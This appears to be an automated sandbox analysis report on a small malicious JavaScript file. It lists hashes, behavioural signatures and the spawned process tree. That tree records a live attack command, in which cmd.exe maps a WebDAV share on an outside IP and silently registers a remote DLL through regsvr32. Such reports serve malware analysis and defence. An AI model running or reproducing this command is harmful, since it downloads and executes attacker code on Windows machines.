Analysis

  • max time kernel
    139s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 02:39

General

  • Target

    80b41e6d04b6b0afbd52e9905eec07050a34058a95ea41999f688e5b0a1e2eb3.js

  • Size

    3KB

  • MD5

    701b54cb7401445b0fbdc73b6c66c745

  • SHA1

    655001f3d9346b2595d55bf69839e344080000e9

  • SHA256

    80b41e6d04b6b0afbd52e9905eec07050a34058a95ea41999f688e5b0a1e2eb3

  • SHA512

    059171bc8d0a9f720ea5939bb8253d39e79e4699dd84b45e66bbaf682439f6ab29bac84c1be1b79be8a9815ba91713a531772532ac3ef3dae15af53f54013c6c

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\80b41e6d04b6b0afbd52e9905eec07050a34058a95ea41999f688e5b0a1e2eb3.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\19851924030403.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4444

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads